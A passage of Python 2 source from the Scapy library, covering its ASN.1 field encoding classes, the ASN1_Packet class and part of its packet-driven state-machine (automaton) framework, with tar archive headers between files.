and explicitly tagged" raise ASN1_Error(err_msg) self.implicit_tag = implicit_tag self.explicit_tag = explicit_tag # network_tag gets useful for ASN1F_CHOICE self.network_tag = implicit_tag or explicit_tag or self.ASN1_tag def i2repr(self, pkt, x): return repr(x) def i2h(self, pkt, x): return x def any2i(self, pkt, x): return x def m2i(self, pkt, s): """ The good thing about safedec is that it may still decode ASN1 even if there is a mismatch between the expected tag (self.ASN1_tag) and the actual tag; the decoded ASN1 object will simply be put into an ASN1_BADTAG object. However, safedec prevents the raising of exceptions needed for ASN1F_optional processing. Thus we use 'flexible_tag', which should be False with ASN1F_optional. Regarding other fields, we might need to know whether encoding went as expected or not. Noticeably, input methods from cert.py expect certain exceptions to be raised. Hence default flexible_tag is False. """ diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: # this implies that flexible_tag was True if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) if self.flexible_tag: return codec.safedec(s, context=self.context) else: return codec.dec(s, context=self.context) def i2m(self, pkt, x): if x is None: return "" if isinstance(x, ASN1_Object): if ( self.ASN1_tag == ASN1_Class_UNIVERSAL.ANY or x.tag == ASN1_Class_UNIVERSAL.RAW or x.tag == ASN1_Class_UNIVERSAL.ERROR or self.ASN1_tag == x.tag ): s = x.enc(pkt.ASN1_codec) else: raise ASN1_Error("Encoding Error: got %r instead of an %r for field [%s]" % (x, self.ASN1_tag, self.name)) else: s = self.ASN1_tag.get_codec(pkt.ASN1_codec).enc(x) return BER_tagging_enc(s, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag) def extract_packet(self, cls, s): if len(s) > 0: try: c = cls(s) except ASN1F_badsequence: c = packet.Raw(s) cpad = c.getlayer(packet.Raw) s = "" if cpad is not None: s = cpad.load del(cpad.underlayer.payload) return c,s else: return None,s def build(self, pkt): return self.i2m(pkt, getattr(pkt, self.name)) def dissect(self, pkt, s): v,s = self.m2i(pkt, s) self.set_val(pkt, v) return s def do_copy(self, x): if hasattr(x, "copy"): return x.copy() if type(x) is list: x = x[:] for i in xrange(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x def set_val(self, pkt, val): setattr(pkt, self.name, val) def is_empty(self, pkt): return getattr(pkt, self.name) is None def get_fields_list(self): return [self] def __hash__(self): return hash(self.name) def __str__(self): return repr(self) def randval(self): return RandInt() ############################ #### Simple ASN1 Fields #### ############################ class ASN1F_BOOLEAN(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.BOOLEAN def randval(self): return RandChoice(True, False) class ASN1F_INTEGER(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.INTEGER def randval(self): return RandNum(-2**64, 2**64-1) class ASN1F_enum_INTEGER(ASN1F_INTEGER): def __init__(self, name, default, enum, context=None, implicit_tag=None, explicit_tag=None): ASN1F_INTEGER.__init__(self, name, default, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) i2s = self.i2s = {} s2i = self.s2i = {} if type(enum) is list: keys = xrange(len(enum)) else: keys = enum.keys() if any(isinstance(x, basestring) for x in keys): i2s, s2i = s2i, i2s for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k def any2i_one(self, pkt, x): if type(x) is str: x = self.s2i[x] return x def any2i(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.any2i_one(pkt,z), x) else: return self.any2i_one(pkt, x) def i2repr_one(self, pkt, x): if x is not None: r = self.i2s.get(x) if r: return r + " " + repr(x) return repr(x) def i2repr(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.i2repr_one(pkt, z), x) else: return self.i2repr_one(pkt, x) class ASN1F_BIT_STRING(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING def __init__(self, name, default, default_readable=True, context=None, implicit_tag=None, explicit_tag=None): if default is not None and default_readable: default = "".join(binrepr(ord(x)).zfill(8) for x in default) ASN1F_field.__init__(self, name, default, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) def randval(self): return RandString(RandNum(0, 1000)) class ASN1F_STRING(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.STRING def randval(self): return RandString(RandNum(0, 1000)) class ASN1F_NULL(ASN1F_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.NULL class ASN1F_OID(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.OID def randval(self): return RandOID() class ASN1F_ENUMERATED(ASN1F_enum_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1F_UTF8_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UTF8_STRING class ASN1F_PRINTABLE_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1F_T61_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.T61_STRING class ASN1F_IA5_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.IA5_STRING class ASN1F_UTC_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UTC_TIME class ASN1F_GENERALIZED_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class ASN1F_ISO646_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.ISO646_STRING class ASN1F_UNIVERSAL_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class ASN1F_BMP_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.BMP_STRING class ASN1F_SEQUENCE(ASN1F_field): # Here is how you could decode a SEQUENCE # with an unknown, private high-tag prefix : # class PrivSeq(ASN1_Packet): # ASN1_codec = ASN1_Codecs.BER # ASN1_root = ASN1F_SEQUENCE( # , # ... # , # explicit_tag=0, # flexible_tag=True) # Because we use flexible_tag, the value of the explicit_tag does not matter. ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE holds_packets = 1 def __init__(self, *seq, **kwargs): name = "dummy_seq_name" default = [field.default for field in seq] for kwarg in ["context", "implicit_tag", "explicit_tag", "flexible_tag"]: if kwarg in kwargs: setattr(self, kwarg, kwargs[kwarg]) else: setattr(self, kwarg, None) ASN1F_field.__init__(self, name, default, context=self.context, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, flexible_tag=self.flexible_tag) self.seq = seq self.islist = len(seq) > 1 def __repr__(self): return "<%s%r>" % (self.__class__.__name__, self.seq) def is_empty(self, pkt): for f in self.seq: if not f.is_empty(pkt): return False return True def get_fields_list(self): return reduce(lambda x,y: x+y.get_fields_list(), self.seq, []) def m2i(self, pkt, s): """ ASN1F_SEQUENCE behaves transparently, with nested ASN1_objects being dissected one by one. Because we use obj.dissect (see loop below) instead of obj.m2i (as we trust dissect to do the appropriate set_vals) we do not directly retrieve the list of nested objects. Thus m2i returns an empty list (along with the proper remainder). It is discarded by dissect() and should not be missed elsewhere. """ diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i,s,remain = codec.check_type_check_len(s) if len(s) == 0: for obj in self.seq: obj.set_val(pkt, None) else: for obj in self.seq: try: s = obj.dissect(pkt, s) except ASN1F_badsequence,e: break if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return [], remain def dissect(self, pkt, s): _,x = self.m2i(pkt, s) return x def build(self, pkt): s = reduce(lambda x,y: x+y.build(pkt), self.seq, "") return self.i2m(pkt, s) class ASN1F_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_UNIVERSAL.SET class ASN1F_SEQUENCE_OF(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE holds_packets = 1 islist = 1 def __init__(self, name, default, cls, context=None, implicit_tag=None, explicit_tag=None): self.cls = cls ASN1F_field.__init__(self, name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) self.default = default def is_empty(self, pkt): return ASN1F_field.is_empty(self, pkt) def m2i(self, pkt, s): diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i,s,remain = codec.check_type_check_len(s) lst = [] while s: c,s = self.extract_packet(self.cls, s) lst.append(c) if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return lst, remain def build(self, pkt): val = getattr(pkt, self.name) if isinstance(val, ASN1_Object) and val.tag==ASN1_Class_UNIVERSAL.RAW: s = val elif val is None: s = "" else: s = "".join(map(str, val)) return self.i2m(pkt, s) def randval(self): return packet.fuzz(self.asn1pkt()) def __repr__(self): return "<%s %s>" % (self.__class__.__name__, self.name) class ASN1F_SET_OF(ASN1F_SEQUENCE_OF): ASN1_tag = ASN1_Class_UNIVERSAL.SET class ASN1F_IPADDRESS(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1F_TIME_TICKS(ASN1F_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.TIME_TICKS ############################# #### Complex ASN1 Fields #### ############################# class ASN1F_optional(ASN1F_element): def __init__(self, field): field.flexible_tag = False self._field = field def __getattr__(self, attr): return getattr(self._field, attr) def m2i(self, pkt, s): try: return self._field.m2i(pkt, s) except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error): # ASN1_Error may be raised by ASN1F_CHOICE return None, s def dissect(self, pkt, s): try: return self._field.dissect(pkt, s) except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error): self._field.set_val(pkt, None) return s def build(self, pkt): if self._field.is_empty(pkt): return "" return self._field.build(pkt) def any2i(self, pkt, x): return self._field.any2i(pkt, x) def i2repr(self, pkt, x): return self._field.i2repr(pkt, x) class ASN1F_CHOICE(ASN1F_field): """ Multiple types are allowed: ASN1_Packet, ASN1F_field and ASN1F_PACKET(), See layers/x509.py for examples. Other ASN1F_field instances than ASN1F_PACKET instances must not be used. """ holds_packets = 1 ASN1_tag = ASN1_Class_UNIVERSAL.ANY def __init__(self, name, default, *args, **kwargs): if "implicit_tag" in kwargs: err_msg = "ASN1F_CHOICE has been called with an implicit_tag" raise ASN1_Error(err_msg) self.implicit_tag = None for kwarg in ["context", "explicit_tag"]: if kwarg in kwargs: setattr(self, kwarg, kwargs[kwarg]) else: setattr(self, kwarg, None) ASN1F_field.__init__(self, name, None, context=self.context, explicit_tag=self.explicit_tag) self.default = default self.current_choice = None self.choices = {} self.pktchoices = {} for p in args: if hasattr(p, "ASN1_root"): # should be ASN1_Packet if hasattr(p.ASN1_root, "choices"): for k,v in p.ASN1_root.choices.iteritems(): self.choices[k] = v # ASN1F_CHOICE recursion else: self.choices[p.ASN1_root.network_tag] = p elif hasattr(p, "ASN1_tag"): if type(p) is type: # should be ASN1F_field class self.choices[p.ASN1_tag] = p else: # should be ASN1F_PACKET instance self.choices[p.network_tag] = p self.pktchoices[hash(p.cls)] = (p.implicit_tag, p.explicit_tag) else: raise ASN1_Error("ASN1F_CHOICE: no tag found for one field") def m2i(self, pkt, s): """ First we have to retrieve the appropriate choice. Then we extract the field/packet, according to this choice. """ if len(s) == 0: raise ASN1_Error("ASN1F_CHOICE: got empty string") _,s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, explicit_tag=self.explicit_tag) tag,_ = BER_id_dec(s) if tag not in self.choices: if self.flexible_tag: choice = ASN1F_field else: raise ASN1_Error("ASN1F_CHOICE: unexpected field") else: choice = self.choices[tag] if hasattr(choice, "ASN1_root"): return self.extract_packet(choice, s) else: if type(choice) is type: return choice(self.name, "").m2i(pkt, s) else: # choice must be an ASN1F_PACKET instance here return choice.m2i(pkt, s) def i2m(self, pkt, x): if x is None: s = "" else: s = str(x) if hash(type(x)) in self.pktchoices: imp, exp = self.pktchoices[hash(type(x))] s = BER_tagging_enc(s, implicit_tag=imp, explicit_tag=exp) return BER_tagging_enc(s, explicit_tag=self.explicit_tag) def randval(self): return RandChoice(*(packet.fuzz(x()) for x in self.choices.itervalues())) class ASN1F_PACKET(ASN1F_field): holds_packets = 1 def __init__(self, name, default, cls, context=None, implicit_tag=None, explicit_tag=None): self.cls = cls ASN1F_field.__init__(self, name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) if cls.ASN1_root.ASN1_tag == ASN1_Class_UNIVERSAL.SEQUENCE: if implicit_tag is None and explicit_tag is None: self.network_tag = 16|0x20 self.default = default def m2i(self, pkt, s): diff_tag, s = BER_tagging_dec(s, hidden_tag=self.cls.ASN1_root.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag p,s = self.extract_packet(self.cls, s) return p,s def i2m(self, pkt, x): if x is None: s = "" else: s = str(x) return BER_tagging_enc(s, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag) class ASN1F_BIT_STRING_ENCAPS(ASN1F_BIT_STRING): """ We may emulate simple string encapsulation with explicit_tag=0x04, but we need a specific class for bit strings because of unused bits, etc. """ holds_packets = 1 def __init__(self, name, default, cls, context=None, implicit_tag=None, explicit_tag=None): self.cls = cls ASN1F_BIT_STRING.__init__(self, name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) self.default = default def m2i(self, pkt, s): bit_string, remain = ASN1F_BIT_STRING.m2i(self, pkt, s) if len(bit_string.val) % 8 != 0: raise BER_Decoding_Error("wrong bit string", remaining=s) p,s = self.extract_packet(self.cls, bit_string.val_readable) if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return p, remain def i2m(self, pkt, x): if x is None: s = "" else: s = str(x) s = "".join(binrepr(ord(x)).zfill(8) for x in s) return ASN1F_BIT_STRING.i2m(self, pkt, s) class ASN1F_FLAGS(ASN1F_BIT_STRING): def __init__(self, name, default, mapping, context=None, implicit_tag=None, explicit_tag=None): self.mapping = mapping ASN1F_BIT_STRING.__init__(self, name, default, default_readable=False, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) def get_flags(self, pkt): fbytes = getattr(pkt, self.name).val flags = [] for i, positional in enumerate(fbytes): if positional == '1' and i < len(self.mapping): flags.append(self.mapping[i]) return flags def i2repr(self, pkt, x): if x is not None: pretty_s = ", ".join(self.get_flags(pkt)) return pretty_s + " " + repr(x) return repr(x) scapy-2.3.3/scapy/asn1packet.py000066400000000000000000000017251300136037300163620ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet holding data in Abstract Syntax Notation (ASN.1). """ from scapy.base_classes import Packet_metaclass from scapy.packet import Packet class ASN1Packet_metaclass(Packet_metaclass): def __new__(cls, name, bases, dct): if dct["ASN1_root"] is not None: dct["fields_desc"] = dct["ASN1_root"].get_fields_list() return super(ASN1Packet_metaclass, cls).__new__(cls, name, bases, dct) class ASN1_Packet(Packet): __metaclass__ = ASN1Packet_metaclass ASN1_root = None ASN1_codec = None def self_build(self): if self.raw_packet_cache is not None: return self.raw_packet_cache return self.ASN1_root.build(self) def do_dissect(self, x): return self.ASN1_root.dissect(self, x) scapy-2.3.3/scapy/automaton.py000066400000000000000000000665431300136037300163500ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Automata with states, transitions and actions. """ from __future__ import with_statement import types,itertools,time,os,sys,socket,traceback from select import select from collections import deque import thread from scapy.config import conf from scapy.utils import do_graph from scapy.error import log_interactive from scapy.plist import PacketList from scapy.data import MTU from scapy.supersocket import SuperSocket class ObjectPipe: def __init__(self): self.rd,self.wr = os.pipe() self.queue = deque() def fileno(self): return self.rd def send(self, obj): self.queue.append(obj) os.write(self.wr,"X") def recv(self, n=0): os.read(self.rd,1) return self.queue.popleft() class Message: def __init__(self, **args): self.__dict__.update(args) def __repr__(self): return "" % " ".join("%s=%r"%(k,v) for (k,v) in self.__dict__.iteritems() if not k.startswith("_")) class _instance_state: def __init__(self, instance): self.im_self = instance.im_self self.im_func = instance.im_func self.im_class = instance.im_class def __getattr__(self, attr): return getattr(self.im_func, attr) def __call__(self, *args, **kargs): return self.im_func(self.im_self, *args, **kargs) def breaks(self): return self.im_self.add_breakpoints(self.im_func) def intercepts(self): return self.im_self.add_interception_points(self.im_func) def unbreaks(self): return self.im_self.remove_breakpoints(self.im_func) def unintercepts(self): return self.im_self.remove_interception_points(self.im_func) ############## ## Automata ## ############## class ATMT: STATE = "State" ACTION = "Action" CONDITION = "Condition" RECV = "Receive condition" TIMEOUT = "Timeout condition" IOEVENT = "I/O event" class NewStateRequested(Exception): def __init__(self, state_func, automaton, *args, **kargs): self.func = state_func self.state = state_func.atmt_state self.initial = state_func.atmt_initial self.error = state_func.atmt_error self.final = state_func.atmt_final Exception.__init__(self, "Request state [%s]" % self.state) self.automaton = automaton self.args = args self.kargs = kargs self.action_parameters() # init action parameters def action_parameters(self, *args, **kargs): self.action_args = args self.action_kargs = kargs return self def run(self): return self.func(self.automaton, *self.args, **self.kargs) def __repr__(self): return "NewStateRequested(%s)" % self.state @staticmethod def state(initial=0,final=0,error=0): def deco(f,initial=initial, final=final): f.atmt_type = ATMT.STATE f.atmt_state = f.func_name f.atmt_initial = initial f.atmt_final = final f.atmt_error = error def state_wrapper(self, *args, **kargs): return ATMT.NewStateRequested(f, self, *args, **kargs) state_wrapper.func_name = "%s_wrapper" % f.func_name state_wrapper.atmt_type = ATMT.STATE state_wrapper.atmt_state = f.func_name state_wrapper.atmt_initial = initial state_wrapper.atmt_final = final state_wrapper.atmt_error = error state_wrapper.atmt_origfunc = f return state_wrapper return deco @staticmethod def action(cond, prio=0): def deco(f,cond=cond): if not hasattr(f,"atmt_type"): f.atmt_cond = {} f.atmt_type = ATMT.ACTION f.atmt_cond[cond.atmt_condname] = prio return f return deco @staticmethod def condition(state, prio=0): def deco(f, state=state): f.atmt_type = ATMT.CONDITION f.atmt_state = state.atmt_state f.atmt_condname = f.func_name f.atmt_prio = prio return f return deco @staticmethod def receive_condition(state, prio=0): def deco(f, state=state): f.atmt_type = ATMT.RECV f.atmt_state = state.atmt_state f.atmt_condname = f.func_name f.atmt_prio = prio return f return deco @staticmethod def ioevent(state, name, prio=0, as_supersocket=None): def deco(f, state=state): f.atmt_type = ATMT.IOEVENT f.atmt_state = state.atmt_state f.atmt_condname = f.func_name f.atmt_ioname = name f.atmt_prio = prio f.atmt_as_supersocket = as_supersocket return f return deco @staticmethod def timeout(state, timeout): def deco(f, state=state, timeout=timeout): f.atmt_type = ATMT.TIMEOUT f.atmt_state = state.atmt_state f.atmt_timeout = timeout f.atmt_condname = f.func_name return f return deco class _ATMT_Command: RUN = "RUN" NEXT = "NEXT" FREEZE = "FREEZE" STOP = "STOP" END = "END" EXCEPTION = "EXCEPTION" SINGLESTEP = "SINGLESTEP" BREAKPOINT = "BREAKPOINT" INTERCEPT = "INTERCEPT" ACCEPT = "ACCEPT" REPLACE = "REPLACE" REJECT = "REJECT" class _ATMT_supersocket(SuperSocket): def __init__(self, name, ioevent, automaton, proto, args, kargs): self.name = name self.ioevent = ioevent self.proto = proto self.spa,self.spb = socket.socketpair(socket.AF_UNIX, socket.SOCK_DGRAM) kargs["external_fd"] = {ioevent:self.spb} self.atmt = automaton(*args, **kargs) self.atmt.runbg() def fileno(self): return self.spa.fileno() def send(self, s): if type(s) is not str: s = str(s) return self.spa.send(s) def recv(self, n=MTU): r = self.spa.recv(n) if self.proto is not None: r = self.proto(r) return r def close(self): pass class _ATMT_to_supersocket: def __init__(self, name, ioevent, automaton): self.name = name self.ioevent = ioevent self.automaton = automaton def __call__(self, proto, *args, **kargs): return _ATMT_supersocket(self.name, self.ioevent, self.automaton, proto, args, kargs) class Automaton_metaclass(type): def __new__(cls, name, bases, dct): cls = super(Automaton_metaclass, cls).__new__(cls, name, bases, dct) cls.states={} cls.state = None cls.recv_conditions={} cls.conditions={} cls.ioevents={} cls.timeout={} cls.actions={} cls.initial_states=[] cls.ionames = [] cls.iosupersockets = [] members = {} classes = [cls] while classes: c = classes.pop(0) # order is important to avoid breaking method overloading classes += list(c.__bases__) for k,v in c.__dict__.iteritems(): if k not in members: members[k] = v decorated = [v for v in members.itervalues() if type(v) is types.FunctionType and hasattr(v, "atmt_type")] for m in decorated: if m.atmt_type == ATMT.STATE: s = m.atmt_state cls.states[s] = m cls.recv_conditions[s]=[] cls.ioevents[s]=[] cls.conditions[s]=[] cls.timeout[s]=[] if m.atmt_initial: cls.initial_states.append(m) elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT]: cls.actions[m.atmt_condname] = [] for m in decorated: if m.atmt_type == ATMT.CONDITION: cls.conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.RECV: cls.recv_conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.IOEVENT: cls.ioevents[m.atmt_state].append(m) cls.ionames.append(m.atmt_ioname) if m.atmt_as_supersocket is not None: cls.iosupersockets.append(m) elif m.atmt_type == ATMT.TIMEOUT: cls.timeout[m.atmt_state].append((m.atmt_timeout, m)) elif m.atmt_type == ATMT.ACTION: for c in m.atmt_cond: cls.actions[c].append(m) for v in cls.timeout.itervalues(): v.sort(lambda (t1,f1),(t2,f2): cmp(t1,t2)) v.append((None, None)) for v in itertools.chain(cls.conditions.itervalues(), cls.recv_conditions.itervalues(), cls.ioevents.itervalues()): v.sort(lambda c1,c2: cmp(c1.atmt_prio,c2.atmt_prio)) for condname,actlst in cls.actions.iteritems(): actlst.sort(lambda c1,c2: cmp(c1.atmt_cond[condname], c2.atmt_cond[condname])) for ioev in cls.iosupersockets: setattr(cls, ioev.atmt_as_supersocket, _ATMT_to_supersocket(ioev.atmt_as_supersocket, ioev.atmt_ioname, cls)) return cls def graph(self, **kargs): s = 'digraph "%s" {\n' % self.__class__.__name__ se = "" # Keep initial nodes at the begining for better rendering for st in self.states.itervalues(): if st.atmt_initial: se = ('\t"%s" [ style=filled, fillcolor=blue, shape=box, root=true];\n' % st.atmt_state)+se elif st.atmt_final: se += '\t"%s" [ style=filled, fillcolor=green, shape=octagon ];\n' % st.atmt_state elif st.atmt_error: se += '\t"%s" [ style=filled, fillcolor=red, shape=octagon ];\n' % st.atmt_state s += se for st in self.states.itervalues(): for n in st.atmt_origfunc.func_code.co_names+st.atmt_origfunc.func_code.co_consts: if n in self.states: s += '\t"%s" -> "%s" [ color=green ];\n' % (st.atmt_state,n) for c,k,v in ([("purple",k,v) for k,v in self.conditions.items()]+ [("red",k,v) for k,v in self.recv_conditions.items()]+ [("orange",k,v) for k,v in self.ioevents.items()]): for f in v: for n in f.func_code.co_names+f.func_code.co_consts: if n in self.states: l = f.atmt_condname for x in self.actions[f.atmt_condname]: l += "\\l>[%s]" % x.func_name s += '\t"%s" -> "%s" [label="%s", color=%s];\n' % (k,n,l,c) for k,v in self.timeout.iteritems(): for t,f in v: if f is None: continue for n in f.func_code.co_names+f.func_code.co_consts: if n in self.states: l = "%s/%.1fs" % (f.atmt_condname,t) for x in self.actions[f.atmt_condname]: l += "\\l>[%s]" % x.func_name s += '\t"%s" -> "%s" [label="%s",color=blue];\n' % (k,n,l) s += "}\n" return do_graph(s, **kargs) class Automaton: __metaclass__ = Automaton_metaclass ## Methods to overload def parse_args(self, debug=0, store=1, **kargs): self.debug_level=debug self.socket_kargs = kargs self.store_packets = store def master_filter(self, pkt): return True def my_send(self, pkt): self.send_sock.send(pkt) ## Utility classes and exceptions class _IO_fdwrapper: def __init__(self,rd,wr): if rd is not None and type(rd) is not int: rd = rd.fileno() if wr is not None and type(wr) is not int: wr = wr.fileno() self.rd = rd self.wr = wr def fileno(self): return self.rd def read(self, n=65535): return os.read(self.rd, n) def write(self, msg): return os.write(self.wr,msg) def recv(self, n=65535): return self.read(n) def send(self, msg): return self.write(msg) class _IO_mixer: def __init__(self,rd,wr): self.rd = rd self.wr = wr def fileno(self): if type(self.rd) is int: return self.rd return self.rd.fileno() def recv(self, n=None): return self.rd.recv(n) def read(self, n=None): return self.rd.recv(n) def send(self, msg): return self.wr.send(msg) def write(self, msg): return self.wr.send(msg) class AutomatonException(Exception): def __init__(self, msg, state=None, result=None): Exception.__init__(self, msg) self.state = state self.result = result class AutomatonError(AutomatonException): pass class ErrorState(AutomatonException): pass class Stuck(AutomatonException): pass class AutomatonStopped(AutomatonException): pass class Breakpoint(AutomatonStopped): pass class Singlestep(AutomatonStopped): pass class InterceptionPoint(AutomatonStopped): def __init__(self, msg, state=None, result=None, packet=None): Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result) self.packet = packet class CommandMessage(AutomatonException): pass ## Services def debug(self, lvl, msg): if self.debug_level >= lvl: log_interactive.debug(msg) def send(self, pkt): if self.state.state in self.interception_points: self.debug(3,"INTERCEPT: packet intercepted: %s" % pkt.summary()) self.intercepted_packet = pkt cmd = Message(type = _ATMT_Command.INTERCEPT, state=self.state, pkt=pkt) self.cmdout.send(cmd) cmd = self.cmdin.recv() self.intercepted_packet = None if cmd.type == _ATMT_Command.REJECT: self.debug(3,"INTERCEPT: packet rejected") return elif cmd.type == _ATMT_Command.REPLACE: pkt = cmd.pkt self.debug(3,"INTERCEPT: packet replaced by: %s" % pkt.summary()) elif cmd.type == _ATMT_Command.ACCEPT: self.debug(3,"INTERCEPT: packet accepted") else: raise self.AutomatonError("INTERCEPT: unkown verdict: %r" % cmd.type) self.my_send(pkt) self.debug(3,"SENT : %s" % pkt.summary()) if self.store_packets: self.packets.append(pkt.copy()) ## Internals def __init__(self, *args, **kargs): external_fd = kargs.pop("external_fd",{}) self.send_sock_class = kargs.pop("ll", conf.L3socket) self.recv_sock_class = kargs.pop("recvsock", conf.L2listen) self.started = thread.allocate_lock() self.threadid = None self.breakpointed = None self.breakpoints = set() self.interception_points = set() self.intercepted_packet = None self.debug_level=0 self.init_args=args self.init_kargs=kargs self.io = type.__new__(type, "IOnamespace",(),{}) self.oi = type.__new__(type, "IOnamespace",(),{}) self.cmdin = ObjectPipe() self.cmdout = ObjectPipe() self.ioin = {} self.ioout = {} for n in self.ionames: extfd = external_fd.get(n) if type(extfd) is not tuple: extfd = (extfd,extfd) ioin,ioout = extfd if ioin is None: ioin = ObjectPipe() elif type(ioin) is not types.InstanceType: ioin = self._IO_fdwrapper(ioin,None) if ioout is None: ioout = ObjectPipe() elif type(ioout) is not types.InstanceType: ioout = self._IO_fdwrapper(None,ioout) self.ioin[n] = ioin self.ioout[n] = ioout ioin.ioname = n ioout.ioname = n setattr(self.io, n, self._IO_mixer(ioout,ioin)) setattr(self.oi, n, self._IO_mixer(ioin,ioout)) for stname in self.states: setattr(self, stname, _instance_state(getattr(self, stname))) self.parse_args(*args, **kargs) self.start() def __iter__(self): return self def __del__(self): self.stop() def _run_condition(self, cond, *args, **kargs): try: self.debug(5, "Trying %s [%s]" % (cond.atmt_type, cond.atmt_condname)) cond(self,*args, **kargs) except ATMT.NewStateRequested, state_req: self.debug(2, "%s [%s] taken to state [%s]" % (cond.atmt_type, cond.atmt_condname, state_req.state)) if cond.atmt_type == ATMT.RECV: if self.store_packets: self.packets.append(args[0]) for action in self.actions[cond.atmt_condname]: self.debug(2, " + Running action [%s]" % action.func_name) action(self, *state_req.action_args, **state_req.action_kargs) raise except Exception,e: self.debug(2, "%s [%s] raised exception [%s]" % (cond.atmt_type, cond.atmt_condname, e)) raise else: self.debug(2, "%s [%s] not taken" % (cond.atmt_type, cond.atmt_condname)) def _do_start(self, *args, **kargs): thread.start_new_thread(self._do_control, args, kargs) def _do_control(self, *args, **kargs): with self.started: self.threadid = thread.get_ident() # Update default parameters a = args+self.init_args[len(args):] k = self.init_kargs.copy() k.update(kargs) self.parse_args(*a,**k) # Start the automaton self.state=self.initial_states[0](self) self.send_sock = self.send_sock_class() self.listen_sock = self.recv_sock_class(**self.socket_kargs) self.packets = PacketList(name="session[%s]"%self.__class__.__name__) singlestep = True iterator = self._do_iter() self.debug(3, "Starting control thread [tid=%i]" % self.threadid) try: while True: c = self.cmdin.recv() self.debug(5, "Received command %s" % c.type) if c.type == _ATMT_Command.RUN: singlestep = False elif c.type == _ATMT_Command.NEXT: singlestep = True elif c.type == _ATMT_Command.FREEZE: continue elif c.type == _ATMT_Command.STOP: break while True: state = iterator.next() if isinstance(state, self.CommandMessage): break elif isinstance(state, self.Breakpoint): c = Message(type=_ATMT_Command.BREAKPOINT,state=state) self.cmdout.send(c) break if singlestep: c = Message(type=_ATMT_Command.SINGLESTEP,state=state) self.cmdout.send(c) break except StopIteration,e: c = Message(type=_ATMT_Command.END, result=e.args[0]) self.cmdout.send(c) except Exception,e: exc_info = sys.exc_info() self.debug(3, "Transfering exception from tid=%i:\n%s"% (self.threadid, traceback.format_exc(exc_info))) m = Message(type=_ATMT_Command.EXCEPTION, exception=e, exc_info=exc_info) self.cmdout.send(m) self.debug(3, "Stopping control thread (tid=%i)"%self.threadid) 